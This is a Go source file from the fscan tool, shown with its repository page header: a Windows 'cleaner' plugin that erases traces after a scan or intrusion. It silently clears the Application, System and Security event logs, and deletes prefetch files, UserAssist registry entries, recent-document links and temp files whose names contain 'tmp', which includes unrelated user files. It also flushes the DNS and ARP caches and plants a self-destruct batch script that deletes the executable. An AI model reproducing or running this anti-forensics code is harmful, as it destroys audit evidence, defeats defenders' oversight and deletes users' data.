fscan/plugins/local_backup/cleaner/cleaner_windows.go
ZacharyZcR 678d750c8a refactor: 重构插件架构,实现单文件插件系统
将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构,
大幅减少代码重复和维护成本,提升插件开发效率。

主要改进:
• 将每个服务插件从3个文件简化为1个文件
• 删除过度设计的工厂模式、适配器模式等抽象层
• 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构
• 实现直接的插件注册机制,提升系统简洁性
• 保持完全向后兼容,所有扫描功能和输出格式不变

重构统计:
• 删除文件:100+个复杂架构文件
• 新增文件:20个简化的单文件插件
• 代码减少:每个插件减少60-80%代码量
• 功能增强:所有插件包含完整扫描和利用功能

已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle,
Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP,
Rsync, SMTP, SNMP, Telnet, VNC

验证通过: 新系统编译运行正常,所有插件功能验证通过
2025-08-25 23:57:00 +08:00

359 lines
9.5 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//go:build windows
package cleaner
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"time"
"github.com/shadow1ng/fscan/common"
)
// cleanSystemTraces 清理Windows系统痕迹
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 1. 清理Windows事件日志
if eventLogs := p.cleanWindowsEventLogs(); len(eventLogs) > 0 {
cleaned = append(cleaned, eventLogs...)
report["event_logs"] = eventLogs
}
// 2. 清理预取文件
if prefetchFiles := p.cleanPrefetchFiles(); len(prefetchFiles) > 0 {
cleaned = append(cleaned, prefetchFiles...)
report["prefetch_files"] = prefetchFiles
}
// 3. 清理注册表痕迹
if registryKeys := p.cleanRegistryTraces(); len(registryKeys) > 0 {
cleaned = append(cleaned, registryKeys...)
report["registry_keys"] = registryKeys
}
// 4. 清理最近文档记录
if recentDocs := p.cleanRecentDocuments(); len(recentDocs) > 0 {
cleaned = append(cleaned, recentDocs...)
report["recent_documents"] = recentDocs
}
// 5. 清理Windows临时文件
if tempFiles := p.cleanWindowsTempFiles(); len(tempFiles) > 0 {
cleaned = append(cleaned, tempFiles...)
report["temp_files"] = tempFiles
}
p.cleanupStats["system_entries"] += len(cleaned)
report["total_cleaned"] = len(cleaned)
return report
}
// cleanWindowsEventLogs 清理Windows事件日志
func (p *CleanerPlugin) cleanWindowsEventLogs() []string {
var cleaned []string
// 尝试清理应用程序日志中的相关条目
logs := []string{"Application", "System", "Security"}
for _, logName := range logs {
// 使用wevtutil清理日志
cmd := exec.Command("wevtutil", "cl", logName)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
if err := cmd.Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理 %s 日志失败 (权限不足): %v", logName, err))
} else {
cleaned = append(cleaned, fmt.Sprintf("Windows Event Log: %s", logName))
common.LogSuccess(fmt.Sprintf("已清理Windows事件日志: %s", logName))
}
}
return cleaned
}
// cleanPrefetchFiles 清理预取文件
func (p *CleanerPlugin) cleanPrefetchFiles() []string {
var cleaned []string
prefetchDir := "C:\\Windows\\Prefetch"
if _, err := os.Stat(prefetchDir); os.IsNotExist(err) {
return cleaned
}
// 查找fscan相关的预取文件
entries, err := os.ReadDir(prefetchDir)
if err != nil {
common.LogDebug(fmt.Sprintf("无法访问预取目录 (权限不足): %v", err))
return cleaned
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
filename := strings.ToUpper(entry.Name())
if strings.Contains(filename, "FSCAN") {
prefetchFile := filepath.Join(prefetchDir, entry.Name())
if err := os.Remove(prefetchFile); err != nil {
common.LogDebug(fmt.Sprintf("删除预取文件失败: %v", err))
} else {
cleaned = append(cleaned, prefetchFile)
common.LogSuccess(fmt.Sprintf("已删除预取文件: %s", entry.Name()))
}
}
}
return cleaned
}
// cleanRegistryTraces 清理注册表痕迹
func (p *CleanerPlugin) cleanRegistryTraces() []string {
var cleaned []string
// 清理UserAssist注册表项
if userAssist := p.cleanUserAssistRegistry(); len(userAssist) > 0 {
cleaned = append(cleaned, userAssist...)
}
// 清理MRU最近使用记录
if mru := p.cleanMRURegistry(); len(mru) > 0 {
cleaned = append(cleaned, mru...)
}
return cleaned
}
// cleanUserAssistRegistry 清理UserAssist注册表
func (p *CleanerPlugin) cleanUserAssistRegistry() []string {
var cleaned []string
// UserAssist键路径
keyPaths := []string{
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count",
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\\Count",
}
for _, keyPath := range keyPaths {
// 查询注册表项
cmd := exec.Command("reg", "query", keyPath)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
output, err := cmd.Output()
if err != nil {
continue
}
// 查找fscan相关条目并删除
lines := strings.Split(string(output), "\n")
for _, line := range lines {
if strings.Contains(strings.ToUpper(line), "FSCAN") {
// 提取值名称
parts := strings.Fields(line)
if len(parts) > 0 {
valueName := parts[0]
// 删除注册表值
delCmd := exec.Command("reg", "delete", keyPath, "/v", valueName, "/f")
delCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
if err := delCmd.Run(); err != nil {
common.LogDebug(fmt.Sprintf("删除注册表项失败: %v", err))
} else {
cleaned = append(cleaned, fmt.Sprintf("Registry: %s\\%s", keyPath, valueName))
common.LogSuccess(fmt.Sprintf("已删除UserAssist记录: %s", valueName))
}
}
}
}
}
return cleaned
}
// cleanMRURegistry 清理MRU注册表记录
func (p *CleanerPlugin) cleanMRURegistry() []string {
var cleaned []string
// MRU键路径
mruKeys := []string{
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs",
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU",
}
for _, keyPath := range mruKeys {
// 这里可以添加更复杂的MRU清理逻辑
// 由于安全考虑,暂时只记录路径
common.LogDebug(fmt.Sprintf("检查MRU路径: %s", keyPath))
}
return cleaned
}
// cleanRecentDocuments 清理最近文档记录
func (p *CleanerPlugin) cleanRecentDocuments() []string {
var cleaned []string
// 获取用户目录
userProfile := os.Getenv("USERPROFILE")
if userProfile == "" {
return cleaned
}
// 最近文档目录
recentDir := filepath.Join(userProfile, "AppData", "Roaming", "Microsoft", "Windows", "Recent")
entries, err := os.ReadDir(recentDir)
if err != nil {
common.LogDebug(fmt.Sprintf("无法访问最近文档目录: %v", err))
return cleaned
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
filename := strings.ToLower(entry.Name())
if strings.Contains(filename, "fscan") || strings.Contains(filename, "result") {
recentFile := filepath.Join(recentDir, entry.Name())
if err := os.Remove(recentFile); err != nil {
common.LogDebug(fmt.Sprintf("删除最近文档失败: %v", err))
} else {
cleaned = append(cleaned, recentFile)
common.LogSuccess(fmt.Sprintf("已删除最近文档: %s", entry.Name()))
}
}
}
return cleaned
}
// cleanWindowsTempFiles 清理Windows临时文件
func (p *CleanerPlugin) cleanWindowsTempFiles() []string {
var cleaned []string
// 临时目录
tempDirs := []string{
os.Getenv("TEMP"),
os.Getenv("TMP"),
"C:\\Windows\\Temp",
}
for _, tempDir := range tempDirs {
if tempDir == "" {
continue
}
entries, err := os.ReadDir(tempDir)
if err != nil {
continue
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
filename := strings.ToLower(entry.Name())
if strings.Contains(filename, "fscan") || strings.Contains(filename, "tmp") {
tempFile := filepath.Join(tempDir, entry.Name())
// 检查文件是否太新(可能正在使用)
if info, err := entry.Info(); err == nil {
if time.Since(info.ModTime()) < 5*time.Minute {
continue
}
}
if err := os.Remove(tempFile); err != nil {
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
} else {
cleaned = append(cleaned, tempFile)
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
}
}
}
}
return cleaned
}
// cleanNetworkTraces 清理网络痕迹
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 1. 清理DNS缓存
cmd := exec.Command("ipconfig", "/flushdns")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
if err := cmd.Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err))
} else {
cleaned = append(cleaned, "DNS Cache")
common.LogSuccess("已清理DNS缓存")
}
// 2. 清理ARP缓存
arpCmd := exec.Command("arp", "-d", "*")
arpCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
if err := arpCmd.Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
} else {
cleaned = append(cleaned, "ARP Cache")
common.LogSuccess("已清理ARP缓存")
}
report["network_caches"] = cleaned
report["total_cleaned"] = len(cleaned)
return report
}
// createWindowsSelfDestruct 创建Windows自毁脚本
func (p *CleanerPlugin) createWindowsSelfDestruct() map[string]interface{} {
report := make(map[string]interface{})
// 创建批处理自毁脚本
batchScript := fmt.Sprintf(`@echo off
timeout /t 2 /nobreak > nul
del /f /q "%s" 2>nul
del /f /q "%%~f0" 2>nul
exit`, p.currentExecutable)
scriptPath := filepath.Join(p.workingDirectory, "cleanup.bat")
if err := os.WriteFile(scriptPath, []byte(batchScript), 0644); err != nil {
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
report["status"] = "failed"
report["error"] = err.Error()
} else {
// 异步执行自毁脚本
go func() {
time.Sleep(1 * time.Second)
cmd := exec.Command(scriptPath)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Start()
}()
report["status"] = "scheduled"
report["script_path"] = scriptPath
common.LogInfo("已创建自毁脚本,将在退出后执行")
}
return report
}
// prepareSelfDestruction 准备自毁
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
return p.createWindowsSelfDestruct()
}